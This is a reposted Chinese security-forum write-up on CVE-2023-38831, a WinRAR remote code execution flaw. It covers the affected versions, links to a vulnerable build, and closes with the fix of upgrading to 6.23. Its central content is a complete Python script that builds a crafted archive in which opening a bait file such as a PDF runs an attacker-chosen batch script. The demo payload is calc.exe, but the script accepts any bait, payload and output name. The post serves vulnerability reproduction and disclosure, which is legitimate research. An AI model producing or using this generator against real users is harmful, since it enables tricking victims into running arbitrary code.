安全矩阵

 找回密码
 立即注册
搜索
查看: 941|回复: 0

CVE-2023-38831:WinRAR远程代码执行漏洞

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2023-9-27 17:09:04 | 显示全部楼层 |阅读模式
本帖最后由 jiangmingzi 于 2023-9-27 17:09 编辑

E1gHt Timeline Sec 2023-09-25 18:30 发表于上海
0x01 简介

WinRAR是一款文件压缩器。该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR 在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。

0x02 漏洞概述

漏洞编号:CVE-2023-38831

WinRAR 是一款适用于 Windows 系统的压缩包管理器。WinRAR 6.2.3之前版本打开压缩文件时会调ShellExecute  函数匹配文件名,如果目标文件名与文件类型不匹配时则会执行目标文件中的批处理文件。攻击者可利用该漏洞构造恶意的压缩文件,其中包含具有恶意  payload 的文件和同名的文件夹,通过诱导用户打开压缩文件中的带有 payload 的恶意文件远程执行任意代码。

0x03 影响版本

RARLabs WinRAR< 6.23

0x04 环境搭建

安装存在漏洞的应用环境 http://www.winrar.com.cn/download-61164scp.html


0x05 漏洞复现

编写脚本:CVE-2023-38831.py

  1. -*- coding: utf-8 -*-
  2. import shutil
  3. import os, sys
  4. from os.path import join
  5. TEMPLATE_NAME = "TEMPLATE"
  6. OUTPUT_NAME = "CVE-2023-38831-poc.rar"

  7. BAIT_NAME = "test.pdf"
  8. SCRIPT_NAME = "script.bat"

  9. if len(sys.argv) > 3:
  10.     BAIT_NAME = os.path.basename(sys.argv[1])
  11.     SCRIPT_NAME = os.path.basename(sys.argv[2])
  12.     OUTPUT_NAME = os.path.basename(sys.argv[3])
  13. elif len(sys.argv) == 2 and sys.argv[1] == "poc":
  14.     pass
  15. else:
  16.     print("""Usage:
  17.           python .\cve-2023-38831-exp-gen.py poc
  18.           python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
  19.     sys.exit()

  20. BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

  21. print("BAIT_NAME:", BAIT_NAME)
  22. print("SCRIPT_NAME:", SCRIPT_NAME)
  23. print("OUTPUT_NAME:", OUTPUT_NAME)

  24. if os.path.exists(TEMPLATE_NAME):
  25.     shutil.rmtree(TEMPLATE_NAME)
  26. os.mkdir(TEMPLATE_NAME)
  27. d = join(TEMPLATE_NAME, BAIT_NAME + "A")
  28. if not os.path.exists(d):
  29.     os.mkdir(d)

  30. shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
  31. shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

  32. # if os.path.exists(OUTPUT_NAME):
  33. #     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
  34. #     sys.exit()

  35. shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

  36. with open(TEMPLATE_NAME + ".zip", "rb") as f:
  37.     content = f.read()
  38.     content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
  39.     content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

  40. os.remove(TEMPLATE_NAME + ".zip")

  41. with open(OUTPUT_NAME, "wb")  as f:
  42.     f.write(content)

  43. print("ok..")
复制代码

script.bat内容如下

  1. calc.exe
复制代码

test.pdf内容随意,放入同一个文件夹中

用以上脚本将script.bat和test.pdf打包成一个带漏洞的RAR:poc.rar

执行python脚本

  1. python3 CVE-2023-38831.py test.pdf script.bat poc.rar
复制代码

用winrar打开poc.rar

成功执行命令


0x06 修复方式

更新WinRAR版本到6.23以上

参考链接

https://mp.weixin.qq.com/s/1Feg1PcSBwpg3Co9k_HzMA


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:52 , Processed in 0.012894 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表